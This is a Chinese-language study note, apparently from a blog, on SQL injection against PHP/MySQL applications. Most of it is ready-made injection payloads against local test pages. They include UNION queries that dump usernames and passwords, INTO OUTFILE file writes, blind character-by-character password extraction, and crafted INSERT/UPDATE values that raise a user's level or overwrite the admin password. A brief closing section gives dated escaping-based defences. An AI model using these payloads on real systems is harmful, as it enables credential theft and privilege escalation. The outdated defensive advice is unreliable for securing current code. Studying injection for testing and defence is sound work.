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PHP的SQL注入实现(测试代码安全不错)

　　本文标签：PHP,SQL注入

SQL注入的重点就是构造SQL语句，只有灵活的运用SQL
语句才能构造出牛比的注入字符串 。学完之后写了点笔记，已备随时使用 。希望你在看下面内容时先了
解SQL的基本原理 。笔记中的代码来自网络 。
===基础部分===
本表查询：
http://127.0.0.1/injection/user.php?username=angel and LENGTH(password)=6
http://127.0.0.1/injection/user.php?username=angel and LEFT(password,1)=m

Union联合语句：
http://127.0.0.1/injection/show.php?id=1 union select 1,username,password from user/*
http://127.0.0.1/injection/show.php?id= union select 1,username,password from user/*

导出文件：
http://127.0.0.1/injection/user.php?username=angel into outfile c:/file.txt
http://127.0.0.1/injection/user.php?username= or 1=1 into outfile c:/file.txt
http://127.0.0.1/injection/show.php?id= union select 1,username,password from user into outfile c:/user.txt

INSERT语句：
INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES (, $username, $password, $homepage, 1);
构造homepage值为：http://4ngel.net, 3)#
SQL语句变为：INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES (, angel, mypass, http://4ngel.net, 3)#, 1);

UPDATE语句：我喜欢这样个东西
先理解这句SQL
UPDATE user SET password=MD5($password), homepage=$homepage WHERE id=$id
如果此SQL被修改成以下形式，就实现了注入
1：修改homepage值为
http://4ngel.net, userlevel=3
之后SQL语句变为
UPDATE user SET password=mypass, homepage=http://4ngel.net, userlevel=3 WHERE id=$id
userlevel为用户级别
2:修改password值为
mypass) WHERE username=admin#
之后SQL语句变为
UPDATE user SET password=MD5(mypass) WHERE username=admin#), homepage=$homepage WHERE id=$id
3：修改id值为
OR username=admin
之后SQL语句变为
UPDATE user SET password=MD5($password), homepage=$homepage WHERE id= OR username=admin

===高级部分===
常用的MySQL内置函数
DATABASE()
USER()
SYSTEM_USER()
SESSION_USER()
CURRENT_USER()
database()
version()
SUBSTRING()
MID()
char()
load_file()
……
函数应用
UPDATE article SET title=DATABASE() WHERE id=1
http://127.0.0.1/injection/show.php?id=-1 union select 1,database(),version()
SELECT * FROM user WHERE username=char(97,110,103,101,108)
# char(97,110,103,101,108) 相当于angel，十进制
http://127.0.0.1/injection/user.php?userid=1 and password=char(109,121,112,97,115,115)http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,1)>char(100)
http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))>111

确定数据结构的字段个数及类型
http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1
http://127.0.0.1/injection/show.php?id=-1 union select char(97),char(97),char(97)

猜数据表名
http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1 from members

跨表查询得到用户名和密码
http://127.0.0.1/ymdown/show.php?id=10000 union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1

其他
#验证第一位密码
http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49

===注入防范===
服务器方面
magic_quotes_gpc设置为On
display_errors设置为Off
编码方面
$keywords = addslashes($keywords);
$keywords = str_replace("_","\_",$keywords);
$keywords = str_replace("%","\%",$keywords);
数值类型
使用intval()抓换
字符串类型
SQL语句参数中要添加单引号
下面代码，用于防治注入
if (get_magic_quotes_gpc()) {
//....
}else{
$str = mysql_real_escape_string($str);
$keywords = str_replace("_","\_",$keywords);
$keywords = str_replace("%","\%",$keywords);
}
有用的函数
stripslashes()
get_magic_quotes_gpc()
mysql_real_escape_string()
strip_tags()
array_map()
addslashes()
参考文章：
http://www.4ngel.net/article/36.htm (SQL Injection with MySQL)中文
http://www.phpe.net/mysql_manual/06-4.html（MYSQL语句参考）